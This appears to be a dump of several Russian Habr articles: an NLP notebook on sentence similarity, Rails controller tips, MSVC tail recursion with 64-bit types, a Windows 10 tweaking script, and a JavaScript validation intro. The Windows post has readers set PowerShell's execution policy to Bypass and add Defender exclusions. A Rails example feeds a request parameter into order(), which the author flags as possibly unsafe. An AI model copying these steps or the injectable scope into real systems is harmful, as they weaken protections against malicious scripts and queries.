print(evaluate(get_similarity_values, 'LDA', False))
lda = LatentDirichletAllocation(n_components=300)
corpus = lemmatize(TEXTS_CORPUS, True)
count_vectorizer = CountVectorizer().fit(corpus)
corpus = count_vectorizer.transform(corpus)
lda.fit(corpus)
get_similarity_values = similarity_values_wrapper(lda, count_vectorizer, do_lemmatize=True)
print(evaluate(get_similarity_values, 'LDA с леммами', True))
lda = LatentDirichletAllocation(n_components=300)
corpus = lemmatize(delete_stopwords(TEXTS_CORPUS), True)
count_vectorizer = CountVectorizer().fit(corpus)
corpus = count_vectorizer.transform(corpus)
lda.fit(corpus)
get_similarity_values = similarity_values_wrapper(lda, count_vectorizer, do_lemmatize=True, do_delete_stopwords=True)
print(evaluate(get_similarity_values, 'LDA с леммами и без стоп слов', False))
```
`LDA: 344.7`
`LDA с леммами: 1092.1`
`LDA с леммами и без стоп слов: 1077.2`
```
%matplotlib inline
def plot_results():
methods = sorted(chart_methods.items(), key=lambda x: x[1][0])
labels = [m[0] for m in methods]
x_pos = np.arange(len(labels))
mean = [m[1][0] for m in methods]
std = [m[1][1] for m in methods]
# Build the plot
fig, ax = plt.subplots(figsize=(12,8))
ax.bar(x_pos,
mean,
yerr=std,
align='center',
alpha=0.5,
ecolor='black',
capsize=10)
ax.set_ylabel('Баллы и стандартное отклонение')
ax.set_xticks(x_pos)
ax.set_xticklabels(labels, rotation=20, ha='right')
ax.set_title('Сранительный график методов')
ax.yaxis.grid(True)
plt.show()
plot_results()
```
2. Методы, использующие эмбединги токенов
=========================================
Будем использовать предобученные эмбединги и добавим возможность выбирать метод векторизации и фунцию расстояния.
[Здесь](https://fasttext.cc/) можно скачать fasttext.
[А вот тут](https://wikipedia2vec.github.io/wikipedia2vec/pretrained/) ссылка для скачивания и инструкция использования gensim модели word2vec.
```
# Скачивание предобученных эмбедингов
import fasttext.util
from wikipedia2vec import Wikipedia2Vec
fasttext.util.download_model('ru', if_exists='ignore')
wiki2vec = Wikipedia2Vec.load('ruwiki_20180420_300d.pkl')
ft = fasttext.load_model('cc.ru.300.bin')
```
### 2.1 Среднее по эмбедингу слов
```
def vectorize(token, use_word2vec=True, use_fasttext=True):
assert use_word2vec or use_fasttext
if use_fasttext:
try:
fast_text_vector = ft.get_word_vector(token)
except KeyError:
fast_text_vector = np.zeros((ft.get_dimension()))
if use_word2vec:
try:
word2vec_vector = wiki2vec.get_word_vector(token)
except KeyError:
word2vec_vector = np.zeros((len(wiki2vec.get_word_vector('the'))))
if use_fasttext and use_word2vec:
return np.concatenate([word2vec_vector, fast_text_vector])
elif use_fasttext:
return np.array(fast_text_vector)
elif use_word2vec:
return np.array(word2vec_vector)
else:
return 'something went wrong on vectorisation'
print(np.shape(vectorize('any_token')))
```
```
def similarity_values_wrapper(use_word2vec=True, use_fasttext=True, distance_function=cosine_distances):
def get_similarity_values(sentences):
sent_vector = []
for sentence in sentences:
sentence_vector = []
for token in sentence.split():
sentence_vector.append(vectorize(token, use_word2vec, use_fasttext))
sent_vector.append(np.mean(sentence_vector, axis=0))
distances = distance_function(sent_vector, sent_vector)
return distances
return get_similarity_values
get_similarity_values = similarity_values_wrapper(use_word2vec=True, use_fasttext=True, distance_function=euclidean_distances)
print(evaluate(get_similarity_values, 'среднее по embedings с euclidean_distances с word2vec + fast_text', add_to_chart=False))
get_similarity_values = similarity_values_wrapper(use_word2vec=False, use_fasttext=True, distance_function=euclidean_distances)
print(evaluate(get_similarity_values, 'среднее по embedings с euclidean_distances с fast_text', add_to_chart=False))
get_similarity_values = similarity_values_wrapper(use_word2vec=True, use_fasttext=False, distance_function=euclidean_distances)
print(evaluate(get_similarity_values, 'среднее по embedings с euclidean_distances с word2vec'))
get_similarity_values = similarity_values_wrapper(use_word2vec=True, use_fasttext=True, distance_function=cosine_distances)
print(evaluate(get_similarity_values, 'среднее по embedings с cosine_distance с word2vec + fast_text', add_to_chart=False))
get_similarity_values = similarity_values_wrapper(use_word2vec=False, use_fasttext=True, distance_function=cosine_distances)
print(evaluate(get_similarity_values, 'среднее по embedings с cosine_distance с fast_text', add_to_chart=False))
get_similarity_values = similarity_values_wrapper(use_word2vec=True, use_fasttext=False, distance_function=cosine_distances)
print(evaluate(get_similarity_values, 'среднее по embedings с cosine_distance с word2vec'))
```
среднее по embedings с euclidean\_distances с word2vec + fast\_text: 1833.6
среднее по embedings с euclidean\_distances с fast\_text: 913.5
среднее по embedings с euclidean\_distances с word2vec: 1941.6
среднее по embedings с cosine\_distance с word2vec + fast\_text: 2278.1
cреднее по embedings с cosine\_distance с fast\_text: 829.2
среднее по embedings с cosine\_distance с word2vec: 2437.7
### 2.2 Среднее по эмбедингу с предварительной очисткой стоп слов
```
def similarity_values_wrapper(use_word2vec=True, use_fasttext=True, distance_function=cosine_distances):
def get_similarity_values(sentences):
sentences = delete_stopwords(sentences)
sent_vector = []
for sentence in sentences:
sentence_vector = []
for token in sentence.split():
sentence_vector.append(vectorize(token, use_word2vec, use_fasttext))
sent_vector.append(np.mean(sentence_vector, axis=0))
distances = distance_function(sent_vector, sent_vector)
return distances
return get_similarity_values
get_similarity_values = similarity_values_wrapper(use_word2vec=True, use_fasttext=True, distance_function=euclidean_distances)
print(evaluate(get_similarity_values, 'среднее по embedings без стопслов с euclidean_distances с word2vec + fast_text', add_to_chart=False))
get_similarity_values = similarity_values_wrapper(use_word2vec=False, use_fasttext=True, distance_function=euclidean_distances)
print(evaluate(get_similarity_values, 'среднее по embedings без стопслов с euclidean_distances с fast_text', add_to_chart=False))
get_similarity_values = similarity_values_wrapper(use_word2vec=True, use_fasttext=False, distance_function=euclidean_distances)
print(evaluate(get_similarity_values, 'среднее по embedings без стопслов с euclidean_distances с word2vec'))
get_similarity_values = similarity_values_wrapper(use_word2vec=True, use_fasttext=True)
print(evaluate(get_similarity_values, 'среднее по embedings без стопслов с cosine_distance с word2vec + fast_text', add_to_chart=False))
get_similarity_values = similarity_values_wrapper(use_word2vec=False, use_fasttext=True)
print(evaluate(get_similarity_values, 'среднее по embedings без стопслов с cosine_distance с fast_text', add_to_chart=False))
get_similarity_values = similarity_values_wrapper(use_word2vec=True, use_fasttext=False)
print(evaluate(get_similarity_values, 'среднее по embedings без стопслов с cosine_distance с word2vec'))
```
среднее по embedings без стопслов с euclidean\_distances с word2vec + fast\_text: 2116.9
среднее по embedings без стопслов с euclidean\_distances с fast\_text: 1314.5
среднее по embedings без стопслов с euclidean\_distances с word2vec: 2159.1
среднее по embedings без стопслов с cosine\_distance с word2vec + fast\_text: 2779.7
среднее по embedings без стопслов с cosine\_distance с fast\_text: 2199.0
среднее по embedings без стопслов с cosine\_distance с word2vec: 2814.4
### 2.3 Среднее по эмбедингу с весами tf-idf
```
tf_idf_vectorizer = TfidfVectorizer()
tf_idf_vectorizer.fit(TEXTS_CORPUS)
vocab = tf_idf_vectorizer.get_feature_names()
```
```
def similarity_values_wrapper(use_word2vec=True, use_fasttext=True, distance_function=cosine_distances):
def get_similarity_values(sentences):
sent_vector = [[]]*len(sentences)
weights_data = tf_idf_vectorizer.transform(sentences).tocoo()
for row, col, weight in zip(weights_data.row, weights_data.col, weights_data.data):
sent_vector[row].append(weight*vectorize(vocab[col], use_word2vec, use_fasttext))
for row in range(len(sent_vector)):
if not sent_vector[row]:
sent_vector.append((len(vectorize('zoros_vector'))))
sent_vector = np.sum(sent_vector, axis=1)
distances = distance_function(sent_vector, sent_vector)
return distances
return get_similarity_values
get_similarity_values = similarity_values_wrapper(use_word2vec=True, use_fasttext=True)
print(evaluate(get_similarity_values,'среднее по embedings с tf-idf с cosine_distance с word2vec + fast_text', add_to_chart=False))
get_similarity_values = similarity_values_wrapper(use_word2vec=False, use_fasttext=True)
print(evaluate(get_similarity_values,'среднее по embedings с tf-idf с cosine_distance с fast_text', add_to_chart=False))
get_similarity_values = similarity_values_wrapper(use_word2vec=True, use_fasttext=False)
print(evaluate(get_similarity_values,'среднее по embedings с tf-idf с cosine_distance с word2vec', add_to_chart=False))
get_similarity_values = similarity_values_wrapper(use_word2vec=True, use_fasttext=True, distance_function=euclidean_distances)
print(evaluate(get_similarity_values,'среднее по embedings с tf-idf с euclidian_distance с word2vec + fast_text', add_to_chart=True))
get_similarity_values = similarity_values_wrapper(use_word2vec=False, use_fasttext=True, distance_function=euclidean_distances)
print(evaluate(get_similarity_values,'среднее по embedings с tf-idf с euclidian_distance с fast_text', add_to_chart=False))
get_similarity_values = similarity_values_wrapper(use_word2vec=True, use_fasttext=False, distance_function=euclidean_distances)
print(evaluate(get_similarity_values,'среднее по embedings с tf-idf с euclidian_distance с word2vec', add_to_chart=False))
```
среднее по embedings с tf-idf с cosine\_distance с word2vec + fast\_text: -133.6
среднее по embedings с tf-idf с cosine\_distance с fast\_text: 9.0
среднее по embedings с tf-idf с cosine\_distance с word2vec: -133.6
среднее по embedings с tf-idf с euclidian\_distance с word2vec + fast\_text: 6.4
среднее по embedings с tf-idf с euclidian\_distance с fast\_text: -133.6
среднее по embedings с tf-idf с euclidian\_distance с word2vec: -133.6
```
plot_results()
```
Методы без учителя
==================
Следующие несколько моделей потребуют потоковой генерации данных, поэтому сделаем универсальные генераторы.
```
max_len = 20
min_len = 5
embedding_size = len(vectorize('any token'))
class EmbedingsDataGenerator():
def __init__(self, texts_corpus=TEXTS_CORPUS, min_len=5, max_len=20, batch_size=32, batches_per_epoch=100, use_word2vec=True, use_fasttext=True):
self.texts = texts_corpus
self.min_len = min_len
self.max_len = max_len
self.batch_size = batch_size
self.batches_per_epoch = batches_per_epoch
self.use_word2vec = use_word2vec
self.use_fasttext = use_fasttext
self.embedding_size = len(vectorize('token', use_word2vec=self.use_word2vec, use_fasttext=self.use_fasttext))
def vectorize(self, sentences):
vectorized_sentences = []
for text in sentences:
text_vec = []
tokens = str(text).split()
for token in tokens:
text_vec.append(vectorize(token, use_word2vec=self.use_word2vec, use_fasttext=self.use_fasttext))
vectorized_sentences.append(text_vec)
vectorized_sentences = pad_sequences(vectorized_sentences, maxlen=self.max_len, dtype='float32')
return vectorized_sentences
def __iter__(self):
for _ in tqdm(range(self.batches_per_epoch), leave=False):
X_batch = []
y_batch = []
finished_batch = False
while not finished_batch:
text = random.choice(self.texts)
tokens = str(text).split()
if len(tokens) < self.min_len:
continue
x_vec = []
for token in tokens:
token_vec = vectorize(token, use_word2vec=self.use_word2vec, use_fasttext=self.use_fasttext)
if len(x_vec) >= self.min_len:
X_batch.append(x_vec)
y_batch.append(token_vec)
if len(X_batch) == self.batch_size:
X_batch = pad_sequences(X_batch, maxlen=self.max_len, dtype='float32')
yield np.array(X_batch), np.array(y_batch)
finished_batch = True
break
x_vec.append(token_vec)
class IndexesDataGenerator(EmbedingsDataGenerator):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.token2index = {}
index = 0
for text in self.texts:
tokens = str(text).split()
for token in tokens:
if token not in self.token2index:
self.token2index[token] = index
index += 1
def __iter__(self):
for _ in tqdm(range(self.batches_per_epoch), leave=False):
X_batch = []
X_batch_indexes = []
y_batch = []
finished_batch = False
while not finished_batch:
text = random.choice(self.texts)
tokens = str(text).split()
if len(tokens) < self.min_len:
continue
x_vec = []
x_tokens = []
for token in tokens:
token_vec = vectorize(token, use_word2vec=self.use_word2vec, use_fasttext=self.use_fasttext)
if len(x_vec) >= self.min_len:
X_batch.append(x_vec)
X_batch_indexes.append(to_categorical(x_tokens, num_classes=len(self.token2index)))
y_batch.append(self.token2index[token])
if len(X_batch) == self.batch_size:
X_batch = pad_sequences(X_batch, maxlen=self.max_len, dtype='float32')
X_batch_indexes = pad_sequences(X_batch_indexes, maxlen=self.max_len, dtype='int32')
y_batch = to_categorical(y_batch, num_classes=len(self.token2index))
yield np.array(X_batch), np.array(X_batch_indexes), np.array(y_batch)
finished_batch = True
break
x_vec.append(token_vec)
x_tokens.append(self.token2index[token])
```
Если кажтся, что потоковая генерация слишком дорогая, то оцените время, которое занимает генерация 100 батчей с размером батча 32, получается:
```
data_generator = EmbedingsDataGenerator()
```
```
%%timeit
for x, y in data_generator:
pass
```
448 ms ± 65.6 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)
```
data_generator = IndexesDataGenerator()
```
```
%%timeit
for x_e, x_i, y_i in data_generator:
pass
```
5.77 s ± 115 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)
3. Languade Models
==================
Нейронная сеть угадывает следующее слово в преложении. Предсказание по всей длине текста, является эмбедингом предложения.
Угадывать будем на основании предыдущих слов: максимум 20 и минимум 5.
```
def similarity_values_wrapper(embedder, vectorizer, distance_function=cosine_distances):
def get_similarity_values(sentences):
sent_vec = vectorizer(sentences)
sent_embedings = embedder(sent_vec)
distances = distance_function(sent_embedings, sent_embedings)
return distances
return get_similarity_values
```
### 3.1 Language Model on embedings
```
def model_builder(data_generator):
complexity = 500
inp = Input(shape=(data_generator.max_len, data_generator.embedding_size))
X = inp
X = LSTM(complexity, return_sequences=True)(X)
X = LSTM(complexity)(X)
X = Dense(complexity, activation='elu')(X)
X = Dense(complexity, activation='elu')(X)
X = Dense(data_generator.embedding_size, activation='linear')(X)
model = Model(inputs=inp, outputs=X)
model.compile(loss=cosine_similarity, optimizer='adam')
model.summary()
return model
data_generator = EmbedingsDataGenerator(use_fasttext=False)
next_word_model = model_builder(data_generator)
get_similarity_values = similarity_values_wrapper(next_word_model.predict, data_generator.vectorize)
```
```
new_result = -10e5
for i in tqdm(range(1000)):
if i%3==0:
previous_result = new_result
new_result = evaluate(get_similarity_values, 'Language Model on embedings')
new_result = parse_result(new_result)
print(i, new_result)
# stopping condition
if new_result < previous_result and i > 20:
break
for x, y in data_generator:
next_word_model.train_on_batch(x, y)
```
0 1644.6
3 148.7
6 274.8
9 72.3
12 186.8
15 183.7
18 415.8
21 138.9
### 3.2 Language Model on token index
```
def model_builder(data_generator):
complexity = 200
inp = Input(shape=(data_generator.max_len, data_generator.embedding_size))
X = inp
X = LSTM(complexity, return_sequences=True)(X)
X = LSTM(complexity)(X)
X = Dense(complexity, activation='linear', name='embedding_output')(X)
X = Dense(complexity, activation='elu')(X)
X = Dense(len(data_generator.token2index), activation='softmax')(X)
model = Model(inputs=inp, outputs=X)
model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['acc'])
model.summary()
embedder = Model(inputs=inp, outputs=model.get_layer('embedding_output').output)
return model, embedder
data_generator = IndexesDataGenerator()
next_word_model, embedder = model_builder(data_generator)
get_similarity_values = similarity_values_wrapper(embedder.predict, data_generator.vectorize)
```
```
new_result = -10e5
for i in tqdm(range(1000)):
if i%3==0:
previous_result = new_result
new_result = evaluate(get_similarity_values, 'Language Model on token index')
new_result = parse_result(new_result)
print(i, new_result)
if new_result < previous_result and i > 20:
break
for x_e, x_i, y in data_generator:
next_word_model.train_on_batch(x_e, y)
```
0 1700.6
3 404.7
6 255.3
9 379.8
12 195.2
15 160.1
18 530.7
21 701.9
24 536.9
```
plot_results()
```
Конец первой части
* ссылка на [Часть2](https://habr.com/ru/post/515084/) | https://habr.com/ru/post/515036/ | null | ru | null |
# Архитектура контроллеров: простые советы на каждый день
То, что контроллеры должны быть «худыми» знают все, но по мере наращивания функционала поддерживать чистоту контроллеров становится все сложнее и сложнее. [Мы](http://devmen.ru/) хотим предложить несколько рекомендаций как содержать свои контроллеры максимально чистыми без ущерба для качества кода.
#### 1. Использовать [inherited\_resources](https://github.com/josevalim/inherited_resources)
Все контроллеры строим на базе inherited\_resources, что позволяет избегать банального CRUD кода. Всего две строчки объявления контроллера, унаследованного от InheritedResources::Base, и он умеет выполнять все базовые операции (создание/отображение/обновление/удаление) с ресурсом! Все бы хорошо, но часто возникают проблемы:
* отфильтровать/отсортировать список
* постраничная разбивка коллекций
* разделение доступа между пользователями/группами пользователей
Для решения первой проблемы можно перекрыть соответствующий метод контроллера (index) и внести необходимые изменения в выборку, но есть способ намного более элегантный, который описан в документации inherited\_resources, но почему-то им мало кто пользуется.
#### 2. Использовать расширение [has\_scope](http://github.com/plataformatec/has_scope)
Этот gem позволяет вклинивать в выборку ресурса/колекции ресурсов любые скоупы, описанные в модели.
Как это работает? Например, нам нужно вывести все поста блога, т.е. отфильтровать посты по блогу:
> `class PostsController < InheritedResources::Base
>
> has\_scope :by\_blog, :only => :index
>
> end
>
>
>
> class Post < ActiveRecord::Base
>
> belongs\_to :blog
>
> scope :by\_blog, lambda{|blog\_id| where(:blog\_id => blog\_id)}
>
> end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь при запросе /posts?by\_blog=1 коллекция ресурсов будет автоматически отфильтрована по блогу с id=1. Но выглядит это не очень красиво, поэтому пропишем в роутах следующее:
> `get "blogs/:blog\_id(/page/:page)(.:format)" => "posts#index", :constraints => { :page => /\d+/ }, :defaults => { :page => 1 }
>
> resources :posts
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
И тот же самый результат можно будет получить по URLу /blogs/1.
Если необходимо **постоянно** сортировать коллекции, то можно использовать параметр default — тогда скоуп будет применяться всегда с указанным дефолтным значением:
> `class PostsController < InheritedResources::Base
>
> has\_scope :ordered, :default => 'created\_at DESC'
>
> end
>
>
>
> class Post < ActiveRecord::Base
>
> scope :ordered, lambda{|field| order(field)} # это может быть не безопастно
>
> end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Аналогичным образом можно истреблять проблему N+1 запросов:
> `class PostsController < InheritedResources::Base
>
> has\_scope :eager\_loading, :default => 'true', :only => :index
>
> end
>
>
>
> class Post < ActiveRecord::Base
>
> scope :eager\_loading, preload(:blog, :user, :tags)
>
> scope :eager\_loading2, includes(:blog, :user)
>
> end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Если нужно указать несколько скоупов сразу, проверить какие-то дополнительные условия или просто нет желания плодить скоупы в модели, то можно указать их прямо при задании параметров has\_scope в блоке:
> `class PostsController > InheritedResources::Base
>
> has\_scope :blog do |controller, scope, value|
>
> value != "all" ? scope.where(:blog\_id => value) : scope
>
> end
>
> end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Подробнее ознакомиться с has\_scope можно на [странице проекта](http://github.com/plataformatec/has_scope). Эффект от него как от HAMLа — стоит потратить немного времени на привыкание к особенностям, зато потом экономится много времени.
#### 3. Для постраничной разбивки использовать [kaminari](https://github.com/amatsuda/kaminari)/[will\_paginate](https://github.com/mislav/will_paginate)
Эти гемы очень популярны и только ленивый их не использовал. Как они интегрируются с inherited\_resources? С kaminari вообще нет никаких проблем — его можно применить в контроллере как обычный скоуп :page точно также как в предыдущих примерах. А вот с will\_paginate — придется немного повозиться, т.к. метод paginate, который он предоставляет, не является скоупом модели. Но и здесь найдется вполне элегантное решение — необходимо перекрыть метод collection в контроллере следущим образом:
> `class PostsController < InheritedResources::Base
>
> protected
>
> def collection
>
> @posts ||= end\_of\_association\_chain.paginate(:page => params[:page])
>
> end
>
> end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Поскольку данный трюк будет использоваться очень часто, то его можно вынести в модуль и подключать по мере необходимости в других контроллерах, но об этом подробнее в следующий раз.
#### 4. Для [аутентификации](http://ru.wikipedia.org/wiki/%D0%90%D1%83%D1%82%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F) и [авторизации](http://ru.wikipedia.org/wiki/%D0%90%D0%B2%D1%82%D0%BE%D1%80%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F) использовать [devise](https://github.com/plataformatec/devise) и [cancan](https://github.com/ryanb/cancan) соответственно
При использовании этой связки можно полностью обойтись без отдельных контроллеров для админпанели. Они позволяют полностью вынести логику разделения доступа к ресурсам из контроллера, оставив там только декларации и заслуживают отдельной статьи.
#### 5. По возможности избегайте перекрытия стандартных методов контролера
Все дополнительные проверки, нормализацию параметров и прочие действия для стандартных операций можно вынести в before\_filter:
> `class PostsController < InheritedResources::Base
>
> before\_filter lambda{ resource.user = current\_user }, :only => :create
>
> before\_filter lambda { resource.thumb = nil if params[:thumb\_delete] }, :only => :update
>
> end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### 6. Для формирования RSS лент, подгрузки AJAX коллекций и т.п. не нужно плодить отдельные методы
Достаточно запросить коллекцию в нужном формате: /posts.rss и /posts.json, при этом в контроллере достаточно прописать:
> `class PostsController < InheritedResources::Base
>
> respond\_to :html
>
> respond\_to :rss, :json, :only => :index
>
> end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Кроме того, для формирования RSS нужно прописать во шаблонах posts/index.rss.builder:
> `xml.instruct! :xml, :version => "1.0"
>
> xml.rss :version => "2.0" do
>
> xml.channel do
>
> xml.title "Заголовок"
>
> xml.description "Описание"
>
> xml.link collection\_url(:format => :rss)
>
>
>
> for resource in collection
>
> xml.item do
>
> xml.title resource.title
>
> xml.description "#{resource.annotation}\n#{link\_to 'Читать дальше...', resource\_url(resource)}"
>
> xml.pubDate resource.published\_at.to\_s(:rfc822)
>
> xml.link resource\_url(resource)
>
> xml.guid resource\_url(resource)
>
> end
>
> end
>
> end
>
> end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Обработать JSON коллекцию можно следующим кодом на jQuery:
> `$('#blog\_id').live('change', function() {
>
> $.ajax({
>
> url: '/posts.json',
>
> dataType: 'json',
>
> data: { blog\_id: $(this).val() },
>
> success: function(json) {
>
> var options = '';
>
> for (var i = 0; i < json.length; i++) {
>
> options += ''">' + json[i].title + '';
>
> }
>
> $('#destination').html(options);
>
> }
>
> });
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Таким образом можно добиться минимального объема кода в контроллерах с сохранением гибкой функциональности, REST подхода и прозрачности кода. Все данные принципы реализованы в реальных проектах и неплохо показали себя на практике. Немного статистики: спустя 10 месяцев разработки, самый большой контроллер в проекте [СмартСорсинг](http://smartsourcing.ru/) занимает 86 строк, самый маленький — 2 строки, но большинство котроллеров — не более 20 LOC. | https://habr.com/ru/post/123200/ | null | ru | null |
# Хвостовая рекурсия в C++ с использованием 64-битных переменных — Часть 1
В этот раз я хочу поделиться с вами одной проблемой, с которой столкнулся, когда решил сравнить итерационные и рекурсивные функции в C++. Между рекурсией и итерацией есть несколько отличий: о них подробно рассказано в этой [стать](http://www.viva64.com/go.php?url=1593). В языках общего назначения вроде Java, C или Python рекурсия довольно затратна по сравнению с итерацией из-за необходимости каждый раз выделять новый стековый фрэйм. В C/C++ эти затраты можно легко устранить, указав оптимизирующему компилятору использовать хвостовую рекурсию, при которой определенные типы рекурсии (а точнее, определенные виды хвостовых вызовов) преобразуются в команды безусловного перехода. Для осуществления такого преобразования необходимо, чтобы самым последним действием функции перед возвратом значения был вызов еще одной функции (в данном случае себя самой). При таком сценарии безусловный переход к началу второй подпрограммы безопасен. Главный недостаток рекурсивных алгоритмов в императивных языках заключается в том, что в них не всегда возможно иметь хвостовые вызовы, т.е. выделение места для адреса функции (и связанных с ней переменных, например, структур) на стеке при каждом вызове. При слишком большой глубине рекурсии это может привести к переполнению стека из-за ограничения на его максимальный размер, который обычно на порядки меньше объема оперативной памяти.
В качестве теста для изучения хвостовой рекурсии я написал в Visual Studio простую функцию Фибоначчи на C++. Давайте посмотрим, как она работает:
```
int fib_tail(int n, int res, int next)
{
if (n == 0)
{
return res;
}
return fib_tail(n - 1, next, res + next);
}
```
Чтобы перед возвратом значения получился хвостовой вызов, функция *fib\_tail* в качестве последнего действия вызывает саму себя. Давайте теперь взглянем на сгенерированный ассемблерный код. Для этого я скомпилировал программу в релиз-режиме с использованием ключа оптимизации /O2. Вот как выглядит этот код:
Есть! Обратите внимание на последнюю строку: в ней вместо инструкции *CALL* используется *JMP*. В данном случае хвостовая рекурсия сработала, и у нашей функции не возникнет никаких проблем с переполнением стека, поскольку на уровне ассемблера она превратилась в итерационную функцию.
Этого мне было мало, и я решил поэкспериментировать с производительностью, увеличив входную переменную *n*. Затем я изменил тип переменных, используемых в функции, с *int* на *unsigned* *long* *long*. Запустив программу повторно, я внезапно получил переполнение стека! Вот как выглядит этот вариант нашей функции:
```
typedef unsigned long long ULONG64;
ULONG64 fib_tail(ULONG64 n, ULONG64 res, ULONG64 next)
{
if (n == 0)
{
return res;
}
return fib_tail(n - 1, next, res + next);
}
```
Давайте снова взглянем на сгенерированный ассемблерный код:
Как я и ожидал, хвостовой рекурсии тут не оказалось! Теперь вместо ожидаемой *JMP* используется *CALL*. Между тем, единственное различие между двумя вариантами нашей функции заключается в том, что во втором случае я использовал 64-битную переменную вместо 32-битной. В связи с чем возникает вопрос: почему компилятор не задействует хвостовую рекурсию при использовании 64-битных переменных?
Я решил скомпилировать программу в 64-битном режиме и посмотреть, как она себя поведет. Сгенерированный ассемблерный код:
Здесь хвостовая рекурсия снова появилась! Благодаря 64-битным регистрам (rax, r8, rcx, rdx) вызывающая и вызываемая функции имеют общий стек, а вызываемая функция возвращает результат непосредственно в точку вызова внутри вызывающей функции.
Я задал свой вопрос на сайте [StackOverflow](http://www.viva64.com/go.php?url=1594) – похоже, что проблема в самом компиляторе Microsoft C++. Автор одного из комментариев сообщил, что в остальных C++-компиляторах эта проблема не наблюдается, но я должен убедиться в этом сам.
Я выложил пример кода на [GitHub](http://www.viva64.com/go.php?url=1595) – можете скопировать его и попробовать запустить у себя. На [Reddit](http://www.viva64.com/go.php?url=1596) и Stackoverflow мне также сказали, что в издании VS2013 Community Edition описанная проблема не возникает. Я попробовал поработать в VS2013 Ultimate, но столкнулся с ней и там. В течение ближайших дней попробую потестировать код под GCC и сравню результаты.
См. проект Example на [GitHub](http://www.viva64.com/go.php?url=1595).
Надеюсь, что мое расследование окажется полезным и для вас, если вам вдруг тоже доведется разбираться, почему в определенных случаях компилятор не реализует хвостовую рекурсию.
До скорой встречи!
**Продолжение: [habrahabr.ru/company/pvs-studio/blog/261029](http://habrahabr.ru/company/pvs-studio/blog/261029/)** | https://habr.com/ru/post/261027/ | null | ru | null |
# Скрипт настройки Windows 10
Давно хотел поделиться своим скриптом по автоматизации настройки Windows 10 (на данный момент актуальная версия **19041**), да все руки не доходили. Возможно, он будет кому-то полезен целиком или только его части. Конечно, будет проблематично описать все пункты настройки, но постараюсь выделить самое важное.
Если кому-то интересно, то добро пожаловать под кат.
### Поддерживаемые версии
| Версия | Кодовое название | Маркетинговое название | Билд | Архитектура |
| --- | --- | --- | --- | --- |
| 2004 | 20H1 | May 2020 Update | 19041 | x64 |
| 1909 | 19H2 | November 2019 Update | 18363 | x64 |
| 1903 | 19H1 | May 2019 Update | 18362 | x64 |
| 1809 | | LTSC Enterprise 2019 | 17763 | x64 |
### Основные функции
* Настройка уровеня телеметрии и конфиденциальности;
* Отключить задачи диагностического отслеживания;
* Настроить интерфейс;
* Удалить «правильно» OneDrive;
* Интерактивные меню;
* Изменить путь переменной среды для %TEMP% на %SystemDrive%\Temp
* Изменить программно расположение пользовательских папок с помощью интерактивного меню с использованием стрелок вверх/вниз и клавиши Enter для подтверждения выбора: «Рабочий стол», «Документы», «Загрузки», «Музыка», «Изображения, „Видео“
* Удалить UWP-приложения (со списком исключений), используя всплывающую форму, написанную на WPF;
* Удалить компоненты Windows;
* Удалить дополнительные комопонеты Windows, используя всплывающую форму, написанную на WPF;
* Создать задачу по очистке Windows в Планировщике задач;
* Создать задачи по очистке в Планировщике задач: %SystemRoot%\SoftwareDistribution\Download и %TEMP%
* Открепить все ярлыки от начального экрана;
* Закрепить ярлыки на начальном экране, используя [syspin.exe](http://www.technosys.net/products/utils/pintotaskbar)
* Включить контролируемый доступ к папкам и добавить защищенные папки, используя диалоговое меню;
* Добавить папку в список исключений сканирования Microsoft Defender, используя диалоговое меню;
* Добавить файлы в список исключений сканирования Microsoft Defender, используя диалоговое меню;
* Обновить иконки рабочего стола, переменные среды, панель задач и симулировать нажатие F5 для обновления рабочего стола;
* Множество твиков проводника, контекстного и прочего.
### NB
* PowerShell должен запускаться с повышенными правами (PowerShell ISE не поддерживается)
* Установить [соответствующую](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies) политику запуска скриптов PowerShell
```
Set-ExecutionPolicy -ExecutionPolicy Bypass -Force
```
### Использование
* Скачайте актуальную [версию;](https://github.com/farag2/Windows-10-Setup-Script/releases)
* Распакуйте архив;
* Убедитесь, что кодировка файла .ps1 „UTF-8 с BOM“;
* Запустите Start.cmd от имени Администратора;
* Незамедлительно начнется выполнение без запрос
### FAQ
Читайте внимательно код. Некоторые функции представлены только как примеры. Мы должны понимать, что означает написанный код. Если вы не уверены, что делает скрипт, не запускате его.
Некоторые функции могут быть запущены на версиях LTSB/LTSC, а также на старых версиях Windows и PowerShell (Windows 7 или 8.1 то есть). Не рекомендуется использовать на x86-системах.
**Скриншоты**
### Скрипт
[Github](https://github.com/farag2/Windows-10-Setup-Script)
Продолжение: <https://habr.com/ru/post/521202/> | https://habr.com/ru/post/465365/ | null | ru | null |
# Валидация Javascript в VisualStudio с помощью google closure
Увиденный недавно топик, про [валидацию css в Visual Studio](http://habrahabr.ru/blogs/vs/134326/) подстегнул к написанию похожей вещи про валидацию Яваскрипта.
Когда яваскрипт в веб-проекте занимает достаточно большую долю кода, и клиентские скрипты вырастают за рамки «инлайн-скриптов» с одной-двумя строчками вызова jquery-плагинов, вопрос проверки их валидности встает достаточно явно (даже для .net-разработчиков, достаточно далеких от js в принципе :)).
В идеале — хотелось иметь компилятор, который при сборке проекта «компилировал» бы и яваскрипт, с привычным указанием ошибок/предупреждений в окне VS.
Для подобной компиляции уже написан ряд утилит, и я даже сделал [небольшой обзор](http://www.arturdr.ru/net/validatsiya-javascript-v-asp-net-mvc-proekte-analiz-sushhestvuyushhih-resheniy/) существующих решений.
